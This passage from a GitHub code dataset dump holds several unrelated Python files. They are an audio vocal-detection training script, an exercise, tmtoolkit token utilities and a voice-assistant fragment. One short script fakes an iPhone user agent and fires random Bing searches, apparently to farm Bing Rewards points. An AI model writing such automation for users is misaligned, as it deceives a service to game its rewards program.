tf.optimizers.Adam(learning_rate=lr)\n elif optimizer == 'adamax':\n return tf.optimizers.Adamax() if lr == 0 else tf.optimizers.Adamax(learning_rate=lr)\n elif optimizer == 'sgd':\n return tf.optimizers.SGD() if lr == 0 else tf.optimizers.SGD(learning_rate=lr)\n elif optimizer == 'rmsprop':\n return tf.optimizers.RMSprop() if lr == 0 else tf.optimizers.RMSprop(learning_rate=lr)\n else:\n raise Exception(\"Not valid optimizer!\")\n\n\ndef run(\n model,\n train_ds_path,\n val_ds_path,\n train_ds_size=None,\n train_ds_indexes=None, # type list => index of dataset 取第0,1,3,5個資料 => [0, 1, 3, 5]\n additional_ds_path=None,\n additional_ds_size=None,\n additional_ds_indexes=None, # type list => index of dataset 取第0,1,3,5個資料 => [0, 1, 3, 5]\n test_ds_paths=[],\n classes=2, # 分類類別\n sample_size=[32000, 1], # 訓練音訊頻率\n epochs=160,\n batch_size=150,\n times=10, # 總共跑幾次\n tag=None,\n lr=1.0, # learning rate\n optimizer='adadelta',\n loss='categorical_crossentropy',\n metrics=['accuracy'],\n num_gpus=2, # number of gpus\n training=True,\n debug=False,\n explainable=False,\n filter_x=45,\n filter_y=120,\n magnification=4,\n seed=None,\n use_saved_inital_weight=False,\n enabled_transfer_learning=False,\n enabled_transfer_learning_weights=[],\n verbose=1\n):\n initLog(debug)\n Model = importlib.import_module(f'models.{model}').__getattribute__(model)\n start = time.time()\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = ','.join([str(i) for i in range(num_gpus)])\n if tag is None:\n training = True\n tag = datetime.now().strftime(\"%Y-%m-%d_%H\")\n tag += '_' + model + '_' + train_ds_path.replace('.', '_').replace(' ', '_').replace('/', '_') + f'_{num_gpus}GPU'\n\n input_shape = tuple(sample_size)\n tags = []\n LOG.info(f'training set: {train_ds_path}')\n LOG.info(f'testing sets: {test_ds_paths}')\n\n # Run thread training --------------------------------------------------------------------------------------------\n def train(t, q):\n # Config gpus\n gpus = tf.config.experimental.list_physical_devices('GPU')\n if gpus:\n try:\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n except RuntimeError as e:\n LOG.error(e)\n\n # Load dataset\n if train_ds_indexes is not None and isinstance(list(train_ds_indexes), list):\n train_ds = dataset.create_new_dataset_from_index(train_ds_path, list(train_ds_indexes))\n else:\n train_ds = dataset.load(train_ds_path)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n val_ds = dataset.load(val_ds_path)\n dataset_length = [i for i, _ in enumerate(val_ds)][-1] + 1\n if t == 0:\n LOG.info(f'{str(val_ds)} size: {dataset_length}')\n\n # Tensorboard\n tensorboard_callback = TensorBoard(log_dir=f'{LOG_DIR}/{tag}/{t}')\n\n # Add more training dataset\n if additional_ds_path:\n if additional_ds_indexes is not None and isinstance(list(additional_ds_indexes), list):\n additional_ds = dataset.create_new_dataset_from_index(additional_ds_path, list(additional_ds_indexes))\n else:\n additional_ds = dataset.load(additional_ds_path)\n\n if additional_ds_size is not None:\n dataset_length = [i for i, _ in enumerate(additional_ds)][-1] + 1\n additional_ds = additional_ds.shuffle(\n dataset_length, seed=seed, reshuffle_each_iteration=False\n ).take(additional_ds_size if additional_ds_size < dataset_length else dataset_length)\n\n if enabled_transfer_learning:\n train_ds = additional_ds\n else:\n train_ds = train_ds.concatenate(additional_ds)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n train_ds = train_ds.shuffle(dataset_length, seed=seed, reshuffle_each_iteration=False)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n\n if train_ds_size is not None:\n train_ds = train_ds.shuffle(\n dataset_length, seed=seed, reshuffle_each_iteration=False\n ).take(train_ds_size if train_ds_size < dataset_length else dataset_length)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n\n if t == 0:\n LOG.info(f'{str(train_ds)} size: {dataset_length}')\n\n train_ds = train_ds.batch(batch_size).shuffle(dataset_length, reshuffle_each_iteration=True)\n val_ds = val_ds.batch(batch_size)\n\n strategy = tf.distribute.MirroredStrategy(devices=[f'/gpu:{i}' for i in range(num_gpus)])\n with strategy.scope():\n _model = Model(input_shape, classes).model()\n _model.compile(loss=loss, optimizer=get_optimizer(optimizer, lr), metrics=metrics)\n if t == 0:\n _model.summary(print_fn=LOG.info)\n if use_saved_inital_weight:\n if os.path.exists(os.path.join(WEIGHT_DIR, f'{model}_inital_weights.h5')):\n LOG.info(f\"load {model} inital weight\")\n _model.load_weights(os.path.join(WEIGHT_DIR, f'{model}_inital_weights.h5'))\n else:\n LOG.info(f\"create {model} inital weight\")\n _model.save_weights(os.path.join(WEIGHT_DIR, f'{model}_inital_weights.h5'))\n\n if enabled_transfer_learning and enabled_transfer_learning_weights:\n _model.load_weights(os.path.join(WEIGHT_DIR, enabled_transfer_learning_weights[t % len(enabled_transfer_learning_weights)] + '.h5'))\n\n LOG.info(f'Training {tag}-{t} start')\n _model.fit(train_ds, epochs=epochs, verbose=verbose, validation_data=val_ds, callbacks=[tensorboard_callback])\n _model.save_weights(os.path.join(WEIGHT_DIR, tag + f\"-{t}\" + \".h5\"))\n q.put(f'{tag}-{t}')\n\n # -------------------------------------------------------------------------------------------------\n\n if training:\n q = multiprocessing.Queue()\n for t in range(times):\n p = multiprocessing.Process(target=train, args=(t, q))\n p.start()\n p.join()\n tags.append(q.get())\n else: # For test\n tags = [f'{tag}-{i}' for i in range(times)]\n\n tag = tag.replace('.', '_').replace(' ', '_').replace('/', '_').replace('\\\\', '_')\n LOG.info(f'Model: {tag}')\n mgr = multiprocessing.Manager()\n # Testing ------------------------------------------------------------------------------------------\n cls_results = {s: mgr.list() for s in test_ds_paths}\n cls_results['ground_truth'] = {}\n total_acc = mgr.list([0 for _ in test_ds_paths])\n acc_list = mgr.list([mgr.list() for _ in test_ds_paths])\n\n LOG.info('Run test')\n for index, _tag in enumerate(tags):\n\n def test():\n strategy = tf.distribute.MirroredStrategy(devices=[f'/gpu:{i}' for i in range(num_gpus)])\n with strategy.scope():\n _model = Model(input_shape, classes).model()\n _model.compile(loss=loss, optimizer=get_optimizer(optimizer, lr), metrics=metrics)\n _model.load_weights(os.path.join(WEIGHT_DIR, _tag + '.h5'))\n\n # Evaluation\n for i, test_ds_path in enumerate(test_ds_paths):\n test_ds = dataset.load(test_ds_path).batch(batch_size)\n score, acc = _model.evaluate(test_ds, verbose=0)\n result = _model.predict(test_ds)\n cls_results[test_ds_path].append(np.where(result >= 0.5, 1, 0))\n acc_list[i].append(acc)\n total_acc[i] += acc\n LOG.debug(f'no.{index + 1}, score={score}, acc={acc}')\n del test_ds\n del _model\n\n p = multiprocessing.Process(target=test)\n p.start()\n p.join()\n\n # Explainable block test\n if explainable:\n try:\n Model_ex = importlib.import_module(f'models.{model}_EX').__getattribute__(f'{model}_EX')\n LOG.info(f'Run {model}_EX explainable block test')\n\n # Magnification = 4\n # filter_x = 45 # 63\n # filter_y = 120 # 1024\n max_x_position_bias = 63 - filter_x\n max_y_position_bias = 1024 - filter_y\n cls_results_ex = {}\n total_acc_ex = mgr.list()\n acc_list_ex = mgr.list()\n LOG.info(f'filter_x:{filter_x}, filter_y: {filter_y}, Magnification:{magnification}')\n # Iterate only one model\n for index, _tag in enumerate(tags):\n bias_count = 0\n for y_position_bias in range(0, max_y_position_bias, filter_y):\n for x_position_bias in range(0, max_x_position_bias, 5):\n bias_key = f'x{x_position_bias}~{x_position_bias+filter_x}_y{y_position_bias}~{y_position_bias+filter_y}={magnification}'\n LOG.debug(f'no.{index+1}, {bias_key}:')\n if index == 0:\n cls_results_ex[bias_key] = {s: mgr.list() for s in test_ds_paths}\n total_acc_ex.append(mgr.list([0 for _ in test_ds_paths]))\n acc_list_ex.append(mgr.list([mgr.list() for _ in test_ds_paths]))\n\n def test():\n # Create models\n strategy = tf.distribute.MirroredStrategy(devices=[f'/gpu:{i}' for i in range(num_gpus)])\n with strategy.scope():\n _model_ex, _model_revise_spectrogram, _model_origin_spectrogram = Model_ex(\n input_shape, classes, x_position_bias, y_position_bias, filter_x, filter_y, magnification\n ).model()\n _model_ex.compile(loss=loss, optimizer=get_optimizer(optimizer, lr), metrics=metrics)\n _model_ex.load_weights(os.path.join(WEIGHT_DIR, _tag + '.h5'))\n\n # Evaluate all test datasets\n for i, test_ds_path in enumerate(test_ds_paths):\n test_ds = dataset.load(test_ds_path).batch(batch_size)\n score, acc = _model_ex.evaluate(test_ds, verbose=0)\n result = _model_ex.predict(test_ds)\n\n # Append result\n cls_results_ex[bias_key][test_ds_path].append(np.where(result >= 0.5, 1, 0))\n acc_list_ex[bias_count][i].append(acc)\n total_acc_ex[bias_count][i] += acc\n LOG.debug(f'no.{index + 1}, score={score}, acc={acc}')\n del test_ds\n del _model_ex, _model_revise_spectrogram, _model_origin_spectrogram\n\n p = multiprocessing.Process(target=test)\n p.start()\n p.join()\n bias_count += 1\n\n bias_count = 0\n # Iterate all block\n for y_position_bias in range(0, max_y_position_bias, filter_y):\n for x_position_bias in range(0, max_x_position_bias, 5):\n bias_key = f'x{x_position_bias}~{x_position_bias+filter_x}_y{y_position_bias}~{y_position_bias+filter_y}={magnification}'\n LOG.debug(bias_key)\n for i, test_ds_path in enumerate(test_ds_paths):\n LOG.debug(f\"Dataset {test_ds_path}\")\n reverses = []\n # Iterate one model\n for index in range(len(tags)):\n reversed = explainable_block(cls_results_ex[bias_key][test_ds_path][index], cls_results[test_ds_path][index])\n reverses.append(reversed)\n LOG.debug(f\"第{index+1}次正確率:{acc_list_ex[bias_count][i][index]*100:.4f}, 反轉率: {reversed*100:.4f}%\")\n average_acc = total_acc_ex[bias_count][i] / len(acc_list_ex[bias_count][i])\n average_reverse = np.sum(reverses) / len(reverses)\n LOG.info(\n f\"x{x_position_bias},y{y_position_bias},m{magnification} avg_acc: {average_acc*100:.6f}%, 反轉率: {average_reverse*100:.4f}%\"\n )\n json.dump(\n cls_results_ex,\n open(os.path.join(DATA_DIR, 'json', f'{tag}_{filter_x}_{filter_y}_{magnification}_cls_result_ex.json'), \"w\"),\n cls=NumpyEncoder\n )\n except Exception as err:\n LOG.error(err)\n LOG.info(f'Cannot run {model}_EX explainable block test')\n\n for i, test_ds_path in enumerate(test_ds_paths):\n LOG.info(f\"Dataset {test_ds_path}\")\n for index in range(times):\n LOG.info(f\"第{index+1}次正確率:{acc_list[i][index]:.4f}\")\n average_acc = total_acc[i] / len(acc_list[i])\n LOG.info(f\"Average_acc: {average_acc*100:.6f}%\")\n\n ground_truth = np.array(dataset.get_ground_truth(test_ds_path))\n cls_results['ground_truth'][test_ds_path] = ground_truth\n voting_acc, _, _ = voting(cls_results[test_ds_path], ground_truth, f'{tag}_{test_ds_path}')\n LOG.info(f\"Voting_acc: {voting_acc*100:.6f}%\")\n\n json.dump(cls_results, open(os.path.join(DATA_DIR, 'json', f'{tag}_cls_result.json'), \"w\"), cls=NumpyEncoder)\n end = time.time()\n elapsed = end - start\n LOG.info(f\"Time taken: {elapsed:.3f} seconds.\")\n\n\n_examples = '''examples:\n # Train SCNN 18Layers using the keras:\n python %(prog)s \\\\\n --model SCNN18 \\\\\n --train_ds_path SCNN-Jamendo-train.h5 \\\\\n --val_ds_path SCNN-Jamendo-test.h5 \\\\\n --test_ds_paths SCNN-test-hard.h5 FMA-C-1-fixed-SCNN-Test.h5 SCNN-Jamendo-test.h5 \\\\\n --additional_ds_path SCNN-MIR-1k-train.h5 \\\\\n --classes 2 \\\\\n --sample_size 32000 1 \\\\\n --epochs 160 \\\\\n --batch_size 150 \\\\\n --loss categorical_crossentropy \\\\\n --optimizer adadelta \\\\\n --metrics accuracy \\\\\n --lr 1.0 \\\\\n --times 10 \\\\\n --training\n'''\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Train SCNN 18Layers\", epilog=_examples, formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument('--model', required=True, help=\"SCNN18,SCNN36,AutoEncoderRemoveVocal\")\n parser.add_argument('--train_ds_path', required=True, help='Training dataset path')\n parser.add_argument('--train_ds_size', help='Cut training dataset', type=int)\n parser.add_argument('--val_ds_path', required=True, help='validation dataset path')\n parser.add_argument('--test_ds_paths', help='Testing dataset paths(default: %(default)s)', nargs='+', default=[])\n parser.add_argument('--additional_ds_path', help='Additional dataset path(default: %(default)s)', default=None)\n parser.add_argument('--additional_ds_size', help='Additional dataset size(default: %(default)s)', type=int)\n parser.add_argument('--classes', help='Output class number(default: %(default)s)', default=2, type=int)\n parser.add_argument('--sample_size', help='Audio sample size(default: %(default)s)', nargs='+', type=int, default=[32000, 1])\n parser.add_argument('--epochs', help=\"epochs (default: %(default)s)\", default=160, type=int)\n parser.add_argument('--batch_size', help=\"batch_size (default: %(default)s)\", default=150, type=int)\n parser.add_argument('--loss', help=\"loss(default: %(default)s)\", default='categorical_crossentropy', type=str)\n parser.add_argument('--optimizer', help=\"optimizer(default: %(default)s)\", default='adadelta', type=str)\n parser.add_argument('--metrics', help=\"metrics(default: %(default)s)\", nargs='+', default=['accuracy'])\n parser.add_argument('--lr', help=\"learning rate(default: %(default)s for optimizer default value)\", default=0.0, type=float)\n parser.add_argument('--times', help=\"Loop times(default: %(default)s)\", default=10, type=int)\n parser.add_argument('--training', help=\"Is training?(default: %(default)s)\", default=False, action='store_true')\n parser.add_argument('--explainable', help=\"Run explainable?(default: %(default)s)\", default=False, action='store_true')\n parser.add_argument('--filter_x', help=\"Explainable filter_x(default: %(default)s)\", default=45, type=int)\n parser.add_argument('--filter_y', help=\"Explainable filter_y(default: %(default)s)\", default=120, type=int)\n parser.add_argument('--magnification', help=\"Explainable magnification(default: %(default)s)\", default=4, type=int)\n parser.add_argument('--tag', help=\"weights tag?(default: %(default)s)\", default=None, type=str)\n parser.add_argument('--num_gpus', help=\"Number of gpus(default: %(default)s)\", default=2, type=int)\n parser.add_argument('--debug', help=\"Is debuging?(default: %(default)s)\", default=False, action='store_true')\n parser.add_argument('--seed', help=\"Random seed (default: %(default)s)\", type=int)\n parser.add_argument('--verbose', help=\"Verbose (default: %(default)s)\", default=1, type=int)\n\n args = parser.parse_args()\n\n run(**vars(args))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NTUT-LabASPL/VocalDetection","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":18798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31536824755","text":"import webbrowser\nimport subprocess\nimport psutil\nimport random\nimport time\n\ndef OpenWebsite(url):\n webbrowser.get(\"C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe %s\").open_new_tab(url)\n\nbaseUrl = \"https://www.bing.com/search?q=\"\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\nmobile = subprocess.Popen(['C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe', '--user-agent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1'])\n\ntime.sleep(2)\n\n# mobile first\nfor i in range(25):\n newUrl = baseUrl\n for j in range(20):\n newUrl += random.choice(alphabet)\n OpenWebsite(newUrl)\n time.sleep(0.25)\n\npsutil.Process(mobile.pid).kill()","repo_name":"waguo/bingRewards","sub_path":"autosearchMobile.py","file_name":"autosearchMobile.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16654235760","text":"# Write a Python program to construct the following pattern, using a for loop.\n# * \n# * * \n# * * * \n# * * * * \n\nheight = int(input(\"Enter a number: \"))\n\nfor i in range(1, height+1, 1):\n print(i*'* ')\n\n\nfor i in range(height+1, 0, -1):\n print(i*'* ')","repo_name":"solomoniosif/SDA_Python_Exercises","sub_path":"20_decembrie_2020/20-12-ex3.py","file_name":"20-12-ex3.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9819841528","text":"\"\"\"\nFunctions that operate on single token documents (lists or arrays of string tokens).\n\"\"\"\n\nimport re\n\nimport numpy as np\nimport globre\n\nfrom ..utils import require_listlike, require_listlike_or_set, flatten_list, empty_chararray\n\n\n#%%\n\n\ndef token_match(pattern, tokens, match_type='exact', ignore_case=False, glob_method='match'):\n \"\"\"\n Return a boolean NumPy array signaling matches between `pattern` and `tokens`. `pattern` is a string that will be\n compared with each element in sequence `tokens` either as exact string equality (`match_type` is ``'exact'``) or\n regular expression (`match_type` is ``'regex'``) or glob pattern (`match_type` is ``'glob'``).\n\n :param pattern: either a string or a compiled RE pattern used for matching against `tokens`\n :param tokens: list or NumPy array of string tokens\n :param match_type: one of: 'exact', 'regex', 'glob'; if 'regex', `search_token` must be RE pattern; if `glob`,\n `search_token` must be a \"glob\" pattern like \"hello w*\"\n (see https://github.com/metagriffin/globre)\n :param ignore_case: if True, ignore case for matching\n :param glob_method: if `match_type` is 'glob', use this glob method. Must be 'match' or 'search' (similar\n behavior as Python's `re.match` or `re.search`)\n :return: 1D boolean NumPy array of length ``len(tokens)`` where elements signal matches between `pattern` and the\n respective token from `tokens`\n \"\"\"\n if match_type not in {'exact', 'regex', 'glob'}:\n raise ValueError(\"`match_type` must be one of `'exact', 'regex', 'glob'`\")\n\n if len(tokens) == 0:\n return np.array([], dtype=bool)\n\n if not isinstance(tokens, np.ndarray):\n tokens = np.array(tokens)\n\n ignore_case_flag = dict(flags=re.IGNORECASE) if ignore_case else {}\n\n if match_type == 'exact':\n return np.char.lower(tokens) == pattern.lower() if ignore_case else tokens == pattern\n elif match_type == 'regex':\n if isinstance(pattern, str):\n pattern = re.compile(pattern, **ignore_case_flag)\n vecmatch = np.vectorize(lambda x: bool(pattern.search(x)))\n return vecmatch(tokens)\n else:\n if glob_method not in {'search', 'match'}:\n raise ValueError(\"`glob_method` must be one of `'search', 'match'`\")\n\n if isinstance(pattern, str):\n pattern = globre.compile(pattern, **ignore_case_flag)\n\n if glob_method == 'search':\n vecmatch = np.vectorize(lambda x: bool(pattern.search(x)))\n else:\n vecmatch = np.vectorize(lambda x: bool(pattern.match(x)))\n\n return vecmatch(tokens) if len(tokens) > 0 else np.array([], dtype=bool)\n\n\ndef token_match_subsequent(patterns, tokens, **kwargs):\n \"\"\"\n Using N patterns in `patterns`, return each tuple of N matching subsequent tokens from `tokens`. Excepts the same\n token matching options via `kwargs` as :func:`~tmtoolkit.preprocess.token_match`. The results are returned as list\n of NumPy arrays with indices into `tokens`.\n\n Example::\n\n # indices: 0 1 2 3 4 5 6\n tokens = ['hello', 'world', 'means', 'saying', 'hello', 'world', '.']\n\n token_match_subsequent(['hello', 'world'], tokens)\n # [array([0, 1]), array([4, 5])]\n\n token_match_subsequent(['world', 'hello'], tokens)\n # []\n\n token_match_subsequent(['world', '*'], tokens, match_type='glob')\n # [array([1, 2]), array([5, 6])]\n\n .. seealso:: :func:`~tmtoolkit.preprocess.token_match`\n\n :param patterns: a sequence of search patterns as excepted by :func:`~tmtoolkit.preprocess.token_match`\n :param tokens: a sequence of tokens to be used for matching\n :param kwargs: token matching options as passed to :func:`~tmtoolkit.preprocess.token_match`\n :return: list of NumPy arrays with subsequent indices into `tokens`\n \"\"\"\n require_listlike(patterns)\n\n n_pat = len(patterns)\n\n if n_pat < 2:\n raise ValueError('`patterns` must contain at least two strings')\n\n n_tok = len(tokens)\n\n if n_tok == 0:\n return []\n\n if not isinstance(tokens, np.ndarray):\n require_listlike(tokens)\n tokens = np.array(tokens)\n\n # iterate through the patterns\n for i_pat, pat in enumerate(patterns):\n if i_pat == 0: # initial matching on full token array\n next_indices = np.arange(n_tok)\n else: # subsequent matching uses previous match indices + 1 to match on tokens right after the previous matches\n next_indices = match_indices + 1\n next_indices = next_indices[next_indices < n_tok] # restrict maximum index\n\n # do the matching with the current subset of \"tokens\"\n pat_match = token_match(pat, tokens[next_indices], **kwargs)\n\n # pat_match is boolean array. use it to select the token indices where we had a match\n # this is used in the next iteration again to select the tokens right after these matches\n match_indices = next_indices[pat_match]\n\n if len(match_indices) == 0: # anytime when no successful match appeared, we can return the empty result\n return [] # because *all* subsequent patterns must match corresponding subsequent tokens\n\n # at this point, match_indices contains indices i that point to the *last* matched token of the `n_pat` subsequently\n # matched tokens\n\n assert np.min(match_indices) - n_pat + 1 >= 0\n assert np.max(match_indices) < n_tok\n\n # so we can use this to reconstruct the whole \"trace\" subsequently matched indices as final result\n return list(map(lambda i: np.arange(i - n_pat + 1, i + 1), match_indices))\n\n\ndef token_glue_subsequent(tokens, matches, glue='_', return_glued=False):\n \"\"\"\n Select subsequent tokens as defined by list of indices `matches` (e.g. output of\n :func:`~tmtoolkit.preprocess.token_match_subsequent`) and join those by string `glue`. Return a list of tokens\n where the subsequent matches are replaced by the joint tokens.\n\n .. warning:: Only works correctly when matches contains indices of *subsequent* tokens.\n\n Example::\n\n token_glue_subsequent(['a', 'b', 'c', 'd', 'd', 'a', 'b', 'c'], [np.array([1, 2]), np.array([6, 7])])\n # ['a', 'b_c', 'd', 'd', 'a', 'b_c']\n\n .. seealso:: :func:`~tmtoolkit.preprocess.token_match_subsequent`\n\n :param tokens: a sequence of tokens\n :param matches: list of NumPy arrays with *subsequent* indices into `tokens` (e.g. output of\n :func:`~tmtoolkit.preprocess.token_match_subsequent`)\n :param glue: string for joining the subsequent matches or None if no joint tokens but a None object should be placed\n in the result list\n :param return_glued: if yes, return also a list of joint tokens\n :return: either two-tuple or list; if `return_glued` is True, return a two-tuple with 1) list of tokens where the\n subsequent matches are replaced by the joint tokens and 2) a list of joint tokens; if `return_glued` is\n True only return 1)\n \"\"\"\n require_listlike(matches)\n\n if return_glued and glue is None:\n raise ValueError('if `glue` is None, `return_glued` must be False')\n\n n_tok = len(tokens)\n\n if n_tok == 0:\n if return_glued:\n return [], []\n else:\n return []\n\n if not isinstance(tokens, np.ndarray):\n tokens = np.array(tokens)\n\n start_ind = dict(zip(map(lambda x: x[0], matches), matches))\n res = []\n glued = []\n\n i_t = 0\n while i_t < n_tok:\n if i_t in start_ind:\n seq = tokens[start_ind[i_t]]\n t = None if glue is None else glue.join(seq)\n if return_glued:\n glued.append(t)\n res.append(t)\n i_t += len(seq)\n else:\n res.append(tokens[i_t])\n i_t += 1\n\n if return_glued:\n return res, glued\n else:\n return res\n\n\ndef expand_compound_token(t, split_chars=('-',), split_on_len=2, split_on_casechange=False):\n \"\"\"\n Expand a token `t` if it is a compound word, e.g. splitting token \"US-Student\" into two tokens \"US\" and\n \"Student\".\n\n .. seealso:: :func:`~tmtoolkit.preprocess.expand_compounds` which operates on token documents\n\n :param t: string token\n :param split_chars: characters to split on\n :param split_on_len: minimum length of a result token when considering splitting (e.g. when ``split_on_len=2``\n \"e-mail\" would not be split into \"e\" and \"mail\")\n :param split_on_casechange: use case change to split tokens, e.g. \"CamelCase\" would become \"Camel\", \"Case\"\n :return: list with split sub-tokens or single original token, i.e. ``[t]``\n \"\"\"\n if not isinstance(t, str):\n raise ValueError('`t` must be a string')\n\n if isinstance(split_chars, str):\n split_chars = (split_chars,)\n\n require_listlike_or_set(split_chars)\n\n if split_on_len is not None and split_on_len < 1:\n raise ValueError('`split_on_len` must be greater or equal 1')\n\n if split_on_casechange and not split_chars:\n t_parts = str_shapesplit(t, min_part_length=split_on_len)\n else:\n split_chars = set(split_chars)\n t_parts = str_multisplit(t, split_chars)\n\n if split_on_casechange:\n t_parts = flatten_list([str_shapesplit(p, min_part_length=split_on_len) for p in t_parts])\n\n n_parts = len(t_parts)\n assert n_parts > 0\n\n if n_parts == 1:\n return t_parts\n else:\n parts = []\n add = False # signals if current part should be appended to previous part\n\n for p in t_parts:\n if not p: continue # skip empty part\n if add and parts: # append current part p to previous part\n parts[-1] += p\n else: # add p as separate token\n parts.append(p)\n\n if split_on_len:\n # if p consists of less than `split_on_len` characters -> append the next p to it\n add = len(p) < split_on_len\n\n if split_on_casechange:\n # alt. strategy: if p is all uppercase (\"US\", \"E\", etc.) -> append the next p to it\n add = add and p.isupper() if split_on_len else p.isupper()\n\n if add and len(parts) >= 2:\n parts = parts[:-2] + [parts[-2] + parts[-1]]\n\n return parts or [t]\n\n\ndef str_multisplit(s, split_chars):\n \"\"\"\n Split string `s` by all characters in `split_chars`.\n\n :param s: a string to split\n :param split_chars: sequence or set of characters to use for splitting\n :return: list of split string parts\n \"\"\"\n if not isinstance(s, (str, bytes)):\n raise ValueError('`s` must be of type `str` or `bytes`')\n\n require_listlike_or_set(split_chars)\n\n parts = [s]\n for c in split_chars:\n parts_ = []\n for p in parts:\n parts_.extend(p.split(c))\n parts = parts_\n\n return parts\n\n\ndef str_shape(s, lower=0, upper=1, as_str=False):\n \"\"\"\n Generate a sequence that reflects the \"shape\" of string `s`.\n\n :param s: input string\n :param lower: shape element marking a lower case letter\n :param upper: shape element marking an upper case letter\n :param as_str: join the sequence to a string\n :return: shape list or string if `as_str` is True\n \"\"\"\n shape = [lower if c.islower() else upper for c in s]\n\n if as_str:\n if not isinstance(lower, str) or not isinstance(upper, str):\n shape = map(str, shape)\n\n return ''.join(shape)\n\n return shape\n\n\ndef str_shapesplit(s, shape=None, min_part_length=2):\n \"\"\"\n Split string `s` according to its \"shape\" which is either given by `shape` (see\n :func:`~tmtoolkit.preprocess.str_shape`).\n\n :param s: string to split\n :param shape: list where 0 denotes a lower case character and 1 an upper case character; if `shape` is None,\n it is computed via :func:`~tmtoolkit.preprocess.str_shape()`\n :param min_part_length: minimum length of a chunk (as long as ``len(s) >= min_part_length``)\n :return: list of substrings of `s`; returns ``['']`` if `s` is empty string\n \"\"\"\n\n if not isinstance(s, str):\n raise ValueError('`s` must be string')\n\n if min_part_length is None:\n min_part_length = 2\n\n if min_part_length < 1:\n raise ValueError('`min_part_length` must be greater or equal 1')\n\n if not s:\n return ['']\n\n if shape is None:\n shape = str_shape(s)\n elif len(shape) != len(s):\n raise ValueError('`shape` must have same length as `s`')\n\n shapechange = np.abs(np.diff(shape, prepend=[shape[0]])).tolist()\n assert len(s) == len(shape) == len(shapechange)\n\n parts = []\n n = 0\n while shapechange and n < len(s):\n if n == 0:\n begin = 0\n else:\n begin = shapechange.index(1, n)\n\n try:\n offset = n + 1 if n == 0 and shape[0] == 0 else n + min_part_length\n end = shapechange.index(1, offset)\n #end = shapechange.index(1, n+min_part_length)\n n += end - begin\n except ValueError:\n end = None\n n = len(s)\n\n chunk = s[begin:end]\n\n if (parts and len(parts[-1]) >= min_part_length and len(chunk) >= min_part_length) or not parts:\n parts.append(chunk)\n else:\n parts[-1] += chunk\n\n return parts\n\n\n#%% other functions\n\n\ndef make_index_window_around_matches(matches, left, right, flatten=False, remove_overlaps=True):\n \"\"\"\n Take a boolean 1D vector `matches` of length N and generate an array of indices, where each occurrence of a True\n value in the boolean vector at index i generates a sequence of the form:\n\n .. code-block:: text\n\n [i-left, i-left+1, ..., i, ..., i+right-1, i+right, i+right+1]\n\n If `flatten` is True, then a flattened NumPy 1D array is returned. Otherwise, a list of NumPy arrays is returned,\n where each array contains the window indices.\n\n `remove_overlaps` is only applied when `flatten` is True.\n\n Example with ``left=1 and right=1, flatten=False``:\n\n .. code-block:: text\n\n input:\n # 0 1 2 3 4 5 6 7 8\n [True, True, False, False, True, False, False, False, True]\n output (matches *highlighted*):\n [[0, *1*], [0, *1*, 2], [3, *4*, 5], [7, *8*]]\n\n Example with ``left=1 and right=1, flatten=True, remove_overlaps=True``:\n\n .. code-block:: text\n\n input:\n # 0 1 2 3 4 5 6 7 8\n [True, True, False, False, True, False, False, False, True]\n output (matches *highlighted*, other values belong to the respective \"windows\"):\n [*0*, *1*, 2, 3, *4*, 5, 7, *8*]\n \"\"\"\n if not isinstance(matches, np.ndarray) or matches.dtype != bool:\n raise ValueError('`matches` must be a boolean NumPy array')\n if not isinstance(left, int) or left < 0:\n raise ValueError('`left` must be an integer >= 0')\n if not isinstance(right, int) or right < 0:\n raise ValueError('`right` must be an integer >= 0')\n\n ind = np.where(matches)[0]\n nested_ind = list(map(lambda x: np.arange(x - left, x + right + 1), ind))\n\n if flatten:\n if not nested_ind:\n return np.array([], dtype=np.int_)\n\n window_ind = np.concatenate(nested_ind)\n window_ind = window_ind[(window_ind >= 0) & (window_ind < len(matches))]\n\n if remove_overlaps:\n return np.sort(np.unique(window_ind))\n else:\n return window_ind\n else:\n return [w[(w >= 0) & (w < len(matches))] for w in nested_ind]\n\n\ndef require_tokendocs(docs, types=(list, np.ndarray),\n error_msg='the argument must be a list of string token documents'):\n require_listlike(docs)\n\n if docs:\n first_doc = next(iter(docs))\n if not isinstance(first_doc, types):\n raise ValueError(error_msg)\n","repo_name":"ihavemanyquestions/tmtoolkit","sub_path":"tmtoolkit/preprocess/_tokenfuncs.py","file_name":"_tokenfuncs.py","file_ext":"py","file_size_in_byte":16056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"13563901978","text":"import web_access as wa\nimport wolframalpha\nimport speech_recognition as sr \nimport playsound \nfrom open_app import open_application\nfrom gtts import gTTS \nimport os \nimport assistant_speaks as ass\nimport date_access as da\nimport get_audio as ga\n\ndef process_speak(text):\n # print(text)\n try: \n if 'search' in text or 'play' in text: \n wa.find_web(text) \n return\n \n elif 'todays date' in text or 'date' in text:\n ass.assistant_speaks(da.get_date())\n return\n \n elif \"who are you\" in text or \"define yourself\" in text: \n speak = \"Hello, I am Goku Sir\" \n ass.assistant_speaks(speak) \n return\n \n elif \"who made you\" in text or \"created you\" in text: \n speak = \"You Sir Ashutosh.\"\n ass.assistant_speaks(speak) \n return\n \n elif \"ashutoshpith\" in text:\n speak = \"\"\"It's Your Website 